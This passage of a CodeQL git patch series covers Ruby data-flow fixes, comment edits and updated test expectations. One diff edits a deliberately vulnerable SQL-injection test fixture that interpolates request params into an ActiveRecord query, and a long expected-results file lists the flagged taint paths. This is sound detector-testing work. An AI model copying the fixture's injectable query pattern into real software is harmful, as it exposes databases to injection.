TypeFlowInput { } /** - * Gets an identifier for node `n`, if any. When not implemented for a given node, - * the library will use location-based ranking. + * Gets an identifier for node `n`, if any. When no identifier is provided for `n`, + * the library falls back to location-based ranking. */ default int getTypeFlowNodeId(TypeFlowNode n) { none() } diff --git a/shared/typeflow/codeql/typeflow/UniversalFlow.qll b/shared/typeflow/codeql/typeflow/UniversalFlow.qll index ddf01e7dd8b..64a0ed846a0 100644 --- a/shared/typeflow/codeql/typeflow/UniversalFlow.qll +++ b/shared/typeflow/codeql/typeflow/UniversalFlow.qll @@ -46,8 +46,8 @@ signature module UniversalFlowInput { } /** - * Gets an identifier for node `n`, if any. When not implemented for a given node, - * the library will use location-based ranking. + * Gets an identifier for node `n`, if any. When no identifier is provided for `n`, + * the library falls back to location-based ranking. */ default int getFlowNodeId(FlowNode n) { none() } From 36c1796ef7855c630a499b9694433e24b559747e Mon Sep 17 00:00:00 2001 From: Anders Schack-Mulligen Date: Tue, 16 Jun 2026 11:11:42 +0200 Subject: [PATCH 137/143] Ruby: Fix data flow step. --- ruby/ql/lib/codeql/ruby/dataflow/internal/DataFlowPrivate.qll | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/ruby/ql/lib/codeql/ruby/dataflow/internal/DataFlowPrivate.qll b/ruby/ql/lib/codeql/ruby/dataflow/internal/DataFlowPrivate.qll index fb5ce7b0145..9646592c0c2 100644 --- a/ruby/ql/lib/codeql/ruby/dataflow/internal/DataFlowPrivate.qll +++ b/ruby/ql/lib/codeql/ruby/dataflow/internal/DataFlowPrivate.qll @@ -68,9 +68,9 @@ private CfgNodes::ExprCfgNode getALastEvalNode(CfgNodes::ExprCfgNode n) { result = branch.(CfgNodes::ExprNodes::InClauseCfgNode).getBody() or result = branch.(CfgNodes::ExprNodes::WhenClauseCfgNode).getBody() - or - result = branch ) + or + result.getAstNode() = n.(CfgNodes::ExprNodes::CaseExprCfgNode).getExpr().getElseBranch().getBody() } /** From 8778e881cb1bae9708631e2da1cb55a6479d6701 Mon Sep 17 00:00:00 2001 From: Anders Schack-Mulligen Date: Tue, 16 Jun 2026 11:14:15 +0200 Subject: [PATCH 138/143] Ruby: Accept two more test changes for new AST node. --- ruby/ql/test/library-tests/modules/methods.expected | 1 + ruby/ql/test/library-tests/modules/modules.expected | 1 + 2 files changed, 2 insertions(+) diff --git a/ruby/ql/test/library-tests/modules/methods.expected b/ruby/ql/test/library-tests/modules/methods.expected index 272081218c5..4fea527074f 100644 --- a/ruby/ql/test/library-tests/modules/methods.expected +++ b/ruby/ql/test/library-tests/modules/methods.expected @@ -975,6 +975,7 @@ enclosingMethod | calls.rb:354:9:354:9 | x | calls.rb:347:1:363:3 | pattern_dispatch | | calls.rb:354:9:354:18 | call to instance | calls.rb:347:1:363:3 | pattern_dispatch | | calls.rb:355:5:355:8 | else ... | calls.rb:347:1:363:3 | pattern_dispatch | +| calls.rb:355:5:355:8 | else ... | calls.rb:347:1:363:3 | pattern_dispatch | | calls.rb:358:5:362:7 | case ... | calls.rb:347:1:363:3 | pattern_dispatch | | calls.rb:358:10:358:10 | x | calls.rb:347:1:363:3 | pattern_dispatch | | calls.rb:359:9:359:29 | in ... then ... | calls.rb:347:1:363:3 | pattern_dispatch | diff --git a/ruby/ql/test/library-tests/modules/modules.expected b/ruby/ql/test/library-tests/modules/modules.expected index 09a2236772a..f599ef11c6a 100644 --- a/ruby/ql/test/library-tests/modules/modules.expected +++ b/ruby/ql/test/library-tests/modules/modules.expected @@ -1182,6 +1182,7 @@ enclosingModule | calls.rb:354:9:354:9 | x | calls.rb:1:1:667:52 | calls.rb | | calls.rb:354:9:354:18 | call to instance | calls.rb:1:1:667:52 | calls.rb | | calls.rb:355:5:355:8 | else ... | calls.rb:1:1:667:52 | calls.rb | +| calls.rb:355:5:355:8 | else ... | calls.rb:1:1:667:52 | calls.rb | | calls.rb:358:5:362:7 | case ... | calls.rb:1:1:667:52 | calls.rb | | calls.rb:358:10:358:10 | x | calls.rb:1:1:667:52 | calls.rb | | calls.rb:359:9:359:29 | in ... then ... | calls.rb:1:1:667:52 | calls.rb | From c5e020c68c008234bcbe73ec569d816eaf8f7f4e Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Mon, 15 Jun 2026 23:02:17 +0100 Subject: [PATCH 139/143] Work around problem with comments in heredocs --- .../security/cwe-089/ActiveRecordInjection.rb | 3 +- .../security/cwe-089/SqlInjection.expected | 372 +++++++++--------- .../UnsafeCodeConstruction.expected | 78 ++-- .../UnsafeCodeConstruction/impl/unsafeCode.rb | 3 +- 4 files changed, 229 insertions(+), 227 deletions(-) diff --git a/ruby/ql/test/query-tests/security/cwe-089/ActiveRecordInjection.rb b/ruby/ql/test/query-tests/security/cwe-089/ActiveRecordInjection.rb index e811b51e8ae..6696f578cbc 100644 --- a/ruby/ql/test/query-tests/security/cwe-089/ActiveRecordInjection.rb +++ b/ruby/ql/test/query-tests/security/cwe-089/ActiveRecordInjection.rb @@ -66,7 +66,8 @@ class FooController < ActionController::Base # BAD: executes `SELECT "users".* FROM "users" WHERE id BETWEEN '#{params[:min_id]}' AND 100000` # where `params[:min_id]` is unsanitized User.where(<<-SQL, MAX_USER_ID) # $ Alert - id BETWEEN '#{params[:min_id]}' AND ? # $ Source + id BETWEEN '#{params[:min_id]}' AND ? #{# $ Source + } SQL # BAD: chained method case diff --git a/ruby/ql/test/query-tests/security/cwe-089/SqlInjection.expected b/ruby/ql/test/query-tests/security/cwe-089/SqlInjection.expected index 069cb34810f..c8926f635c4 100644 --- a/ruby/ql/test/query-tests/security/cwe-089/SqlInjection.expected +++ b/ruby/ql/test/query-tests/security/cwe-089/SqlInjection.expected @@ -1,3 +1,52 @@ +#select +| ActiveRecordInjection.rb:10:33:10:67 | "name='#{...}' and pass='#{...}'" | ActiveRecordInjection.rb:78:23:78:28 | call to params | ActiveRecordInjection.rb:10:33:10:67 | "name='#{...}' and pass='#{...}'" | This SQL query depends on a $@. | ActiveRecordInjection.rb:78:23:78:28 | call to params | user-provided value | +| ActiveRecordInjection.rb:10:33:10:67 | "name='#{...}' and pass='#{...}'" | ActiveRecordInjection.rb:78:38:78:43 | call to params | ActiveRecordInjection.rb:10:33:10:67 | "name='#{...}' and pass='#{...}'" | This SQL query depends on a $@. | ActiveRecordInjection.rb:78:38:78:43 | call to params | user-provided value | +| ActiveRecordInjection.rb:12:31:12:65 | "name='#{...}' and pass='#{...}'" | ActiveRecordInjection.rb:78:23:78:28 | call to params | ActiveRecordInjection.rb:12:31:12:65 | "name='#{...}' and pass='#{...}'" | This SQL query depends on a $@. | ActiveRecordInjection.rb:78:23:78:28 | call to params | user-provided value | +| ActiveRecordInjection.rb:12:31:12:65 | "name='#{...}' and pass='#{...}'" | ActiveRecordInjection.rb:78:38:78:43 | call to params | ActiveRecordInjection.rb:12:31:12:65 | "name='#{...}' and pass='#{...}'" | This SQL query depends on a $@. | ActiveRecordInjection.rb:78:38:78:43 | call to params | user-provided value | +| ActiveRecordInjection.rb:16:13:16:26 | "name=#{...}" | ActiveRecordInjection.rb:78:23:78:28 | call to params | ActiveRecordInjection.rb:16:13:16:26 | "name=#{...}" | This SQL query depends on a $@. | ActiveRecordInjection.rb:78:23:78:28 | call to params | user-provided value | +| ActiveRecordInjection.rb:30:16:30:24 | condition | ActiveRecordInjection.rb:175:21:175:26 | call to params | ActiveRecordInjection.rb:30:16:30:24 | condition | This SQL query depends on a $@. | ActiveRecordInjection.rb:175:21:175:26 | call to params | user-provided value | +| ActiveRecordInjection.rb:42:30:42:44 | ...[...] | ActiveRecordInjection.rb:42:30:42:35 | call to params | ActiveRecordInjection.rb:42:30:42:44 | ...[...] | This SQL query depends on a $@. | ActiveRecordInjection.rb:42:30:42:35 | call to params | user-provided value | +| ActiveRecordInjection.rb:46:18:46:32 | ...[...] | ActiveRecordInjection.rb:46:18:46:23 | call to params | ActiveRecordInjection.rb:46:18:46:32 | ...[...] | This SQL query depends on a $@. | ActiveRecordInjection.rb:46:18:46:23 | call to params | user-provided value | +| ActiveRecordInjection.rb:50:20:50:42 | "id = '#{...}'" | ActiveRecordInjection.rb:50:29:50:34 | call to params | ActiveRecordInjection.rb:50:20:50:42 | "id = '#{...}'" | This SQL query depends on a $@. | ActiveRecordInjection.rb:50:29:50:34 | call to params | user-provided value | +| ActiveRecordInjection.rb:55:21:55:43 | "id = '#{...}'" | ActiveRecordInjection.rb:55:30:55:35 | call to params | ActiveRecordInjection.rb:55:21:55:43 | "id = '#{...}'" | This SQL query depends on a $@. | ActiveRecordInjection.rb:55:30:55:35 | call to params | user-provided value | +| ActiveRecordInjection.rb:59:21:59:45 | call to [] | ActiveRecordInjection.rb:59:31:59:36 | call to params | ActiveRecordInjection.rb:59:21:59:45 | call to [] | This SQL query depends on a $@. | ActiveRecordInjection.rb:59:31:59:36 | call to params | user-provided value | +| ActiveRecordInjection.rb:64:22:64:46 | call to [] | ActiveRecordInjection.rb:64:32:64:37 | call to params | ActiveRecordInjection.rb:64:22:64:46 | call to [] | This SQL query depends on a $@. | ActiveRecordInjection.rb:64:32:64:37 | call to params | user-provided value | +| ActiveRecordInjection.rb:68:16:68:21 | <<-SQL | ActiveRecordInjection.rb:69:21:69:26 | call to params | ActiveRecordInjection.rb:68:16:68:21 | <<-SQL | This SQL query depends on a $@. | ActiveRecordInjection.rb:69:21:69:26 | call to params | user-provided value | +| ActiveRecordInjection.rb:76:20:76:47 | "user.id = '#{...}'" | ActiveRecordInjection.rb:76:34:76:39 | call to params | ActiveRecordInjection.rb:76:20:76:47 | "user.id = '#{...}'" | This SQL query depends on a $@. | ActiveRecordInjection.rb:76:34:76:39 | call to params | user-provided value | +| ActiveRecordInjection.rb:82:32:82:54 | "id = '#{...}'" | ActiveRecordInjection.rb:82:41:82:46 | call to params | ActiveRecordInjection.rb:82:32:82:54 | "id = '#{...}'" | This SQL query depends on a $@. | ActiveRecordInjection.rb:82:41:82:46 | call to params | user-provided value | +| ActiveRecordInjection.rb:87:23:87:35 | ...[...] | ActiveRecordInjection.rb:87:23:87:28 | call to params | ActiveRecordInjection.rb:87:23:87:35 | ...[...] | This SQL query depends on a $@. | ActiveRecordInjection.rb:87:23:87:28 | call to params | user-provided value | +| ActiveRecordInjection.rb:91:17:91:31 | ...[...] | ActiveRecordInjection.rb:91:17:91:22 | call to params | ActiveRecordInjection.rb:91:17:91:31 | ...[...] | This SQL query depends on a $@. | ActiveRecordInjection.rb:91:17:91:22 | call to params | user-provided value | +| ActiveRecordInjection.rb:92:19:92:33 | ...[...] | ActiveRecordInjection.rb:92:19:92:24 | call to params | ActiveRecordInjection.rb:92:19:92:33 | ...[...] | This SQL query depends on a $@. | ActiveRecordInjection.rb:92:19:92:24 | call to params | user-provided value | +| ActiveRecordInjection.rb:96:18:96:35 | ...[...] | ActiveRecordInjection.rb:96:18:96:23 | call to params | ActiveRecordInjection.rb:96:18:96:35 | ...[...] | This SQL query depends on a $@. | ActiveRecordInjection.rb:96:18:96:23 | call to params | user-provided value | +| ActiveRecordInjection.rb:100:21:100:35 | ...[...] | ActiveRecordInjection.rb:100:21:100:26 | call to params | ActiveRecordInjection.rb:100:21:100:35 | ...[...] | This SQL query depends on a $@. | ActiveRecordInjection.rb:100:21:100:26 | call to params | user-provided value | +| ActiveRecordInjection.rb:108:20:108:55 | "name = '#{...}'" | ActiveRecordInjection.rb:108:31:108:36 | call to params | ActiveRecordInjection.rb:108:20:108:55 | "name = '#{...}'" | This SQL query depends on a $@. | ActiveRecordInjection.rb:108:31:108:36 | call to params | user-provided value | +| ActiveRecordInjection.rb:112:19:112:54 | "name = '#{...}'" | ActiveRecordInjection.rb:112:30:112:35 | call to params | ActiveRecordInjection.rb:112:19:112:54 | "name = '#{...}'" | This SQL query depends on a $@. | ActiveRecordInjection.rb:112:30:112:35 | call to params | user-provided value | +| ActiveRecordInjection.rb:114:18:114:35 | ...[...] | ActiveRecordInjection.rb:114:18:114:23 | call to params | ActiveRecordInjection.rb:114:18:114:35 | ...[...] | This SQL query depends on a $@. | ActiveRecordInjection.rb:114:18:114:23 | call to params | user-provided value | +| ActiveRecordInjection.rb:116:26:116:40 | ...[...] | ActiveRecordInjection.rb:116:26:116:31 | call to params | ActiveRecordInjection.rb:116:26:116:40 | ...[...] | This SQL query depends on a $@. | ActiveRecordInjection.rb:116:26:116:31 | call to params | user-provided value | +| ActiveRecordInjection.rb:117:28:117:42 | ...[...] | ActiveRecordInjection.rb:117:28:117:33 | call to params | ActiveRecordInjection.rb:117:28:117:42 | ...[...] | This SQL query depends on a $@. | ActiveRecordInjection.rb:117:28:117:33 | call to params | user-provided value | +| ActiveRecordInjection.rb:118:25:118:49 | "b #{...}" | ActiveRecordInjection.rb:118:30:118:35 | call to params | ActiveRecordInjection.rb:118:25:118:49 | "b #{...}" | This SQL query depends on a $@. | ActiveRecordInjection.rb:118:30:118:35 | call to params | user-provided value | +| ActiveRecordInjection.rb:119:27:119:51 | "b #{...}" | ActiveRecordInjection.rb:119:32:119:37 | call to params | ActiveRecordInjection.rb:119:27:119:51 | "b #{...}" | This SQL query depends on a $@. | ActiveRecordInjection.rb:119:32:119:37 | call to params | user-provided value | +| ActiveRecordInjection.rb:120:21:120:35 | ...[...] | ActiveRecordInjection.rb:120:21:120:26 | call to params | ActiveRecordInjection.rb:120:21:120:35 | ...[...] | This SQL query depends on a $@. | ActiveRecordInjection.rb:120:21:120:26 | call to params | user-provided value | +| ActiveRecordInjection.rb:121:21:121:35 | ...[...] | ActiveRecordInjection.rb:121:21:121:26 | call to params | ActiveRecordInjection.rb:121:21:121:35 | ...[...] | This SQL query depends on a $@. | ActiveRecordInjection.rb:121:21:121:26 | call to params | user-provided value | +| ActiveRecordInjection.rb:122:20:122:34 | ...[...] | ActiveRecordInjection.rb:122:20:122:25 | call to params | ActiveRecordInjection.rb:122:20:122:34 | ...[...] | This SQL query depends on a $@. | ActiveRecordInjection.rb:122:20:122:25 | call to params | user-provided value | +| ActiveRecordInjection.rb:124:23:124:47 | ...[...] | ActiveRecordInjection.rb:124:23:124:28 | call to params | ActiveRecordInjection.rb:124:23:124:47 | ...[...] | This SQL query depends on a $@. | ActiveRecordInjection.rb:124:23:124:28 | call to params | user-provided value | +| ActiveRecordInjection.rb:128:19:128:30 | ...[...] | ActiveRecordInjection.rb:128:19:128:24 | call to params | ActiveRecordInjection.rb:128:19:128:30 | ...[...] | This SQL query depends on a $@. | ActiveRecordInjection.rb:128:19:128:24 | call to params | user-provided value | +| ActiveRecordInjection.rb:130:29:130:39 | ...[...] | ActiveRecordInjection.rb:130:29:130:34 | call to params | ActiveRecordInjection.rb:130:29:130:39 | ...[...] | This SQL query depends on a $@. | ActiveRecordInjection.rb:130:29:130:34 | call to params | user-provided value | +| ActiveRecordInjection.rb:142:20:142:32 | ... + ... | ActiveRecordInjection.rb:136:10:136:15 | call to params | ActiveRecordInjection.rb:142:20:142:32 | ... + ... | This SQL query depends on a $@. | ActiveRecordInjection.rb:136:10:136:15 | call to params | user-provided value | +| ActiveRecordInjection.rb:175:21:175:44 | ...[...] | ActiveRecordInjection.rb:175:21:175:26 | call to params | ActiveRecordInjection.rb:175:21:175:44 | ...[...] | This SQL query depends on a $@. | ActiveRecordInjection.rb:175:21:175:26 | call to params | user-provided value | +| ActiveRecordInjection.rb:189:27:189:76 | "this is an unsafe annotation:..." | ActiveRecordInjection.rb:189:59:189:64 | call to params | ActiveRecordInjection.rb:189:27:189:76 | "this is an unsafe annotation:..." | This SQL query depends on a $@. | ActiveRecordInjection.rb:189:59:189:64 | call to params | user-provided value | +| ActiveRecordInjection.rb:202:37:202:41 | query | ActiveRecordInjection.rb:207:5:207:10 | call to params | ActiveRecordInjection.rb:202:37:202:41 | query | This SQL query depends on a $@. | ActiveRecordInjection.rb:207:5:207:10 | call to params | user-provided value | +| ActiveRecordInjection.rb:211:43:211:104 | "SELECT * FROM users WHERE id ..." | ActiveRecordInjection.rb:207:5:207:10 | call to params | ActiveRecordInjection.rb:211:43:211:104 | "SELECT * FROM users WHERE id ..." | This SQL query depends on a $@. | ActiveRecordInjection.rb:207:5:207:10 | call to params | user-provided value | +| ActiveRecordInjection.rb:212:35:212:96 | "SELECT * FROM users WHERE id ..." | ActiveRecordInjection.rb:207:5:207:10 | call to params | ActiveRecordInjection.rb:212:35:212:96 | "SELECT * FROM users WHERE id ..." | This SQL query depends on a $@. | ActiveRecordInjection.rb:207:5:207:10 | call to params | user-provided value | +| ActiveRecordInjection.rb:217:38:217:53 | "role = #{...}" | ActiveRecordInjection.rb:223:29:223:34 | call to params | ActiveRecordInjection.rb:217:38:217:53 | "role = #{...}" | This SQL query depends on a $@. | ActiveRecordInjection.rb:223:29:223:34 | call to params | user-provided value | +| ArelInjection.rb:6:20:6:61 | "SELECT * FROM users WHERE nam..." | ArelInjection.rb:4:12:4:17 | call to params | ArelInjection.rb:6:20:6:61 | "SELECT * FROM users WHERE nam..." | This SQL query depends on a $@. | ArelInjection.rb:4:12:4:17 | call to params | user-provided value | +| ArelInjection.rb:7:39:7:80 | "SELECT * FROM users WHERE nam..." | ArelInjection.rb:4:12:4:17 | call to params | ArelInjection.rb:7:39:7:80 | "SELECT * FROM users WHERE nam..." | This SQL query depends on a $@. | ArelInjection.rb:4:12:4:17 | call to params | user-provided value | +| PgInjection.rb:14:15:14:18 | qry1 | PgInjection.rb:6:12:6:17 | call to params | PgInjection.rb:14:15:14:18 | qry1 | This SQL query depends on a $@. | PgInjection.rb:6:12:6:17 | call to params | user-provided value | +| PgInjection.rb:15:21:15:24 | qry1 | PgInjection.rb:6:12:6:17 | call to params | PgInjection.rb:15:21:15:24 | qry1 | This SQL query depends on a $@. | PgInjection.rb:6:12:6:17 | call to params | user-provided value | +| PgInjection.rb:20:22:20:25 | qry2 | PgInjection.rb:6:12:6:17 | call to params | PgInjection.rb:20:22:20:25 | qry2 | This SQL query depends on a $@. | PgInjection.rb:6:12:6:17 | call to params | user-provided value | +| PgInjection.rb:21:28:21:31 | qry2 | PgInjection.rb:6:12:6:17 | call to params | PgInjection.rb:21:28:21:31 | qry2 | This SQL query depends on a $@. | PgInjection.rb:6:12:6:17 | call to params | user-provided value | +| PgInjection.rb:32:29:32:32 | qry3 | PgInjection.rb:6:12:6:17 | call to params | PgInjection.rb:32:29:32:32 | qry3 | This SQL query depends on a $@. | PgInjection.rb:6:12:6:17 | call to params | user-provided value | +| PgInjection.rb:44:29:44:32 | qry3 | PgInjection.rb:6:12:6:17 | call to params | PgInjection.rb:44:29:44:32 | qry3 | This SQL query depends on a $@. | PgInjection.rb:6:12:6:17 | call to params | user-provided value | edges | ActiveRecordInjection.rb:8:25:8:28 | name | ActiveRecordInjection.rb:10:33:10:67 | "name='#{...}' and pass='#{...}'" | provenance | AdditionalTaintStep | | ActiveRecordInjection.rb:8:25:8:28 | name | ActiveRecordInjection.rb:12:31:12:65 | "name='#{...}' and pass='#{...}'" | provenance | AdditionalTaintStep | @@ -19,64 +68,64 @@ edges | ActiveRecordInjection.rb:64:32:64:42 | ...[...] | ActiveRecordInjection.rb:64:23:64:45 | "id = '#{...}'" : String | provenance | AdditionalTaintStep | | ActiveRecordInjection.rb:69:21:69:26 | call to params | ActiveRecordInjection.rb:69:21:69:35 | ...[...] | provenance | | | ActiveRecordInjection.rb:69:21:69:35 | ...[...] | ActiveRecordInjection.rb:68:16:68:21 | <<-SQL | provenance | AdditionalTaintStep | -| ActiveRecordInjection.rb:75:34:75:39 | call to params | ActiveRecordInjection.rb:75:34:75:44 | ...[...] | provenance | | -| ActiveRecordInjection.rb:75:34:75:44 | ...[...] | ActiveRecordInjection.rb:75:20:75:47 | "user.id = '#{...}'" | provenance | AdditionalTaintStep | -| ActiveRecordInjection.rb:77:23:77:28 | call to params | ActiveRecordInjection.rb:77:23:77:35 | ...[...] | provenance | | -| ActiveRecordInjection.rb:77:23:77:35 | ...[...] | ActiveRecordInjection.rb:8:25:8:28 | name | provenance | | -| ActiveRecordInjection.rb:77:38:77:43 | call to params | ActiveRecordInjection.rb:77:38:77:50 | ...[...] | provenance | | -| ActiveRecordInjection.rb:77:38:77:50 | ...[...] | ActiveRecordInjection.rb:8:31:8:34 | pass | provenance | | -| ActiveRecordInjection.rb:81:41:81:46 | call to params | ActiveRecordInjection.rb:81:41:81:51 | ...[...] | provenance | | -| ActiveRecordInjection.rb:81:41:81:51 | ...[...] | ActiveRecordInjection.rb:81:32:81:54 | "id = '#{...}'" | provenance | AdditionalTaintStep | -| ActiveRecordInjection.rb:86:23:86:28 | call to params | ActiveRecordInjection.rb:86:23:86:35 | ...[...] | provenance | | -| ActiveRecordInjection.rb:90:17:90:22 | call to params | ActiveRecordInjection.rb:90:17:90:31 | ...[...] | provenance | | -| ActiveRecordInjection.rb:91:19:91:24 | call to params | ActiveRecordInjection.rb:91:19:91:33 | ...[...] | provenance | | -| ActiveRecordInjection.rb:95:18:95:23 | call to params | ActiveRecordInjection.rb:95:18:95:35 | ...[...] | provenance | | -| ActiveRecordInjection.rb:99:21:99:26 | call to params | ActiveRecordInjection.rb:99:21:99:35 | ...[...] | provenance | | -| ActiveRecordInjection.rb:107:31:107:36 | call to params | ActiveRecordInjection.rb:107:31:107:52 | ...[...] | provenance | | -| ActiveRecordInjection.rb:107:31:107:52 | ...[...] | ActiveRecordInjection.rb:107:20:107:55 | "name = '#{...}'" | provenance | AdditionalTaintStep | -| ActiveRecordInjection.rb:111:30:111:35 | call to params | ActiveRecordInjection.rb:111:30:111:51 | ...[...] | provenance | | -| ActiveRecordInjection.rb:111:30:111:51 | ...[...] | ActiveRecordInjection.rb:111:19:111:54 | "name = '#{...}'" | provenance | AdditionalTaintStep | -| ActiveRecordInjection.rb:113:18:113:23 | call to params | ActiveRecordInjection.rb:113:18:113:35 | ...[...] | provenance | | -| ActiveRecordInjection.rb:115:26:115:31 | call to params | ActiveRecordInjection.rb:115:26:115:40 | ...[...] | provenance | | -| ActiveRecordInjection.rb:116:28:116:33 | call to params | ActiveRecordInjection.rb:116:28:116:42 | ...[...] | provenance | | -| ActiveRecordInjection.rb:117:30:117:35 | call to params | ActiveRecordInjection.rb:117:30:117:47 | ...[...] | provenance | | -| ActiveRecordInjection.rb:117:30:117:47 | ...[...] | ActiveRecordInjection.rb:117:25:117:49 | "b #{...}" | provenance | AdditionalTaintStep | -| ActiveRecordInjection.rb:118:32:118:37 | call to params | ActiveRecordInjection.rb:118:32:118:49 | ...[...] | provenance | | -| ActiveRecordInjection.rb:118:32:118:49 | ...[...] | ActiveRecordInjection.rb:118:27:118:51 | "b #{...}" | provenance | AdditionalTaintStep | -| ActiveRecordInjection.rb:119:21:119:26 | call to params | ActiveRecordInjection.rb:119:21:119:35 | ...[...] | provenance | | +| ActiveRecordInjection.rb:76:34:76:39 | call to params | ActiveRecordInjection.rb:76:34:76:44 | ...[...] | provenance | | +| ActiveRecordInjection.rb:76:34:76:44 | ...[...] | ActiveRecordInjection.rb:76:20:76:47 | "user.id = '#{...}'" | provenance | AdditionalTaintStep | +| ActiveRecordInjection.rb:78:23:78:28 | call to params | ActiveRecordInjection.rb:78:23:78:35 | ...[...] | provenance | | +| ActiveRecordInjection.rb:78:23:78:35 | ...[...] | ActiveRecordInjection.rb:8:25:8:28 | name | provenance | | +| ActiveRecordInjection.rb:78:38:78:43 | call to params | ActiveRecordInjection.rb:78:38:78:50 | ...[...] | provenance | | +| ActiveRecordInjection.rb:78:38:78:50 | ...[...] | ActiveRecordInjection.rb:8:31:8:34 | pass | provenance | | +| ActiveRecordInjection.rb:82:41:82:46 | call to params | ActiveRecordInjection.rb:82:41:82:51 | ...[...] | provenance | | +| ActiveRecordInjection.rb:82:41:82:51 | ...[...] | ActiveRecordInjection.rb:82:32:82:54 | "id = '#{...}'" | provenance | AdditionalTaintStep | +| ActiveRecordInjection.rb:87:23:87:28 | call to params | ActiveRecordInjection.rb:87:23:87:35 | ...[...] | provenance | | +| ActiveRecordInjection.rb:91:17:91:22 | call to params | ActiveRecordInjection.rb:91:17:91:31 | ...[...] | provenance | | +| ActiveRecordInjection.rb:92:19:92:24 | call to params | ActiveRecordInjection.rb:92:19:92:33 | ...[...] | provenance | | +| ActiveRecordInjection.rb:96:18:96:23 | call to params | ActiveRecordInjection.rb:96:18:96:35 | ...[...] | provenance | | +| ActiveRecordInjection.rb:100:21:100:26 | call to params | ActiveRecordInjection.rb:100:21:100:35 | ...[...] | provenance | | +| ActiveRecordInjection.rb:108:31:108:36 | call to params | ActiveRecordInjection.rb:108:31:108:52 | ...[...] | provenance | | +| ActiveRecordInjection.rb:108:31:108:52 | ...[...] | ActiveRecordInjection.rb:108:20:108:55 | "name = '#{...}'" | provenance | AdditionalTaintStep | +| ActiveRecordInjection.rb:112:30:112:35 | call to params | ActiveRecordInjection.rb:112:30:112:51 | ...[...] | provenance | | +| ActiveRecordInjection.rb:112:30:112:51 | ...[...] | ActiveRecordInjection.rb:112:19:112:54 | "name = '#{...}'" | provenance | AdditionalTaintStep | +| ActiveRecordInjection.rb:114:18:114:23 | call to params | ActiveRecordInjection.rb:114:18:114:35 | ...[...] | provenance | | +| ActiveRecordInjection.rb:116:26:116:31 | call to params | ActiveRecordInjection.rb:116:26:116:40 | ...[...] | provenance | | +| ActiveRecordInjection.rb:117:28:117:33 | call to params | ActiveRecordInjection.rb:117:28:117:42 | ...[...] | provenance | | +| ActiveRecordInjection.rb:118:30:118:35 | call to params | ActiveRecordInjection.rb:118:30:118:47 | ...[...] | provenance | | +| ActiveRecordInjection.rb:118:30:118:47 | ...[...] | ActiveRecordInjection.rb:118:25:118:49 | "b #{...}" | provenance | AdditionalTaintStep | +| ActiveRecordInjection.rb:119:32:119:37 | call to params | ActiveRecordInjection.rb:119:32:119:49 | ...[...] | provenance | | +| ActiveRecordInjection.rb:119:32:119:49 | ...[...] | ActiveRecordInjection.rb:119:27:119:51 | "b #{...}" | provenance | AdditionalTaintStep | | ActiveRecordInjection.rb:120:21:120:26 | call to params | ActiveRecordInjection.rb:120:21:120:35 | ...[...] | provenance | | -| ActiveRecordInjection.rb:121:20:121:25 | call to params | ActiveRecordInjection.rb:121:20:121:34 | ...[...] | provenance | | -| ActiveRecordInjection.rb:123:23:123:28 | call to params | ActiveRecordInjection.rb:123:23:123:47 | ...[...] | provenance | | -| ActiveRecordInjection.rb:127:19:127:24 | call to params | ActiveRecordInjection.rb:127:19:127:30 | ...[...] | provenance | | -| ActiveRecordInjection.rb:129:29:129:34 | call to params | ActiveRecordInjection.rb:129:29:129:39 | ...[...] | provenance | | -| ActiveRecordInjection.rb:135:5:135:6 | ps | ActiveRecordInjection.rb:136:11:136:12 | ps | provenance | | -| ActiveRecordInjection.rb:135:10:135:15 | call to params | ActiveRecordInjection.rb:135:5:135:6 | ps | provenance | | -| ActiveRecordInjection.rb:136:5:136:7 | uid | ActiveRecordInjection.rb:137:5:137:9 | uidEq : String | provenance | AdditionalTaintStep | -| ActiveRecordInjection.rb:136:11:136:12 | ps | ActiveRecordInjection.rb:136:11:136:17 | ...[...] | provenance | | -| ActiveRecordInjection.rb:136:11:136:17 | ...[...] | ActiveRecordInjection.rb:136:5:136:7 | uid | provenance | | -| ActiveRecordInjection.rb:137:5:137:9 | uidEq : String | ActiveRecordInjection.rb:141:20:141:32 | ... + ... | provenance | | -| ActiveRecordInjection.rb:174:21:174:26 | call to params | ActiveRecordInjection.rb:174:21:174:44 | ...[...] | provenance | | -| ActiveRecordInjection.rb:174:21:174:26 | call to params | ActiveRecordInjection.rb:174:21:174:44 | ...[...] | provenance | | -| ActiveRecordInjection.rb:174:21:174:44 | ...[...] | ActiveRecordInjection.rb:27:22:27:30 | condition | provenance | | -| ActiveRecordInjection.rb:188:59:188:64 | call to params | ActiveRecordInjection.rb:188:59:188:74 | ...[...] | provenance | | -| ActiveRecordInjection.rb:188:59:188:74 | ...[...] | ActiveRecordInjection.rb:188:27:188:76 | "this is an unsafe annotation:..." | provenance | AdditionalTaintStep | -| ActiveRecordInjection.rb:199:5:199:13 | my_params | ActiveRecordInjection.rb:200:47:200:55 | my_params | provenance | | -| ActiveRecordInjection.rb:199:17:199:32 | call to permitted_params | ActiveRecordInjection.rb:199:5:199:13 | my_params | provenance | | -| ActiveRecordInjection.rb:200:5:200:9 | query : String | ActiveRecordInjection.rb:201:37:201:41 | query | provenance | | -| ActiveRecordInjection.rb:200:47:200:55 | my_params | ActiveRecordInjection.rb:200:47:200:65 | ...[...] | provenance | | -| ActiveRecordInjection.rb:200:47:200:65 | ...[...] | ActiveRecordInjection.rb:200:5:200:9 | query : String | provenance | AdditionalTaintStep | -| ActiveRecordInjection.rb:206:5:206:10 | call to params | ActiveRecordInjection.rb:206:5:206:27 | call to require | provenance | | -| ActiveRecordInjection.rb:206:5:206:27 | call to require | ActiveRecordInjection.rb:206:5:206:59 | call to permit | provenance | | -| ActiveRecordInjection.rb:206:5:206:59 | call to permit | ActiveRecordInjection.rb:199:17:199:32 | call to permitted_params | provenance | | -| ActiveRecordInjection.rb:206:5:206:59 | call to permit | ActiveRecordInjection.rb:210:77:210:92 | call to permitted_params | provenance | | -| ActiveRecordInjection.rb:206:5:206:59 | call to permit | ActiveRecordInjection.rb:211:69:211:84 | call to permitted_params | provenance | | -| ActiveRecordInjection.rb:210:77:210:92 | call to permitted_params | ActiveRecordInjection.rb:210:77:210:102 | ...[...] | provenance | | -| ActiveRecordInjection.rb:210:77:210:102 | ...[...] | ActiveRecordInjection.rb:210:43:210:104 | "SELECT * FROM users WHERE id ..." | provenance | AdditionalTaintStep | -| ActiveRecordInjection.rb:211:69:211:84 | call to permitted_params | ActiveRecordInjection.rb:211:69:211:94 | ...[...] | provenance | | -| 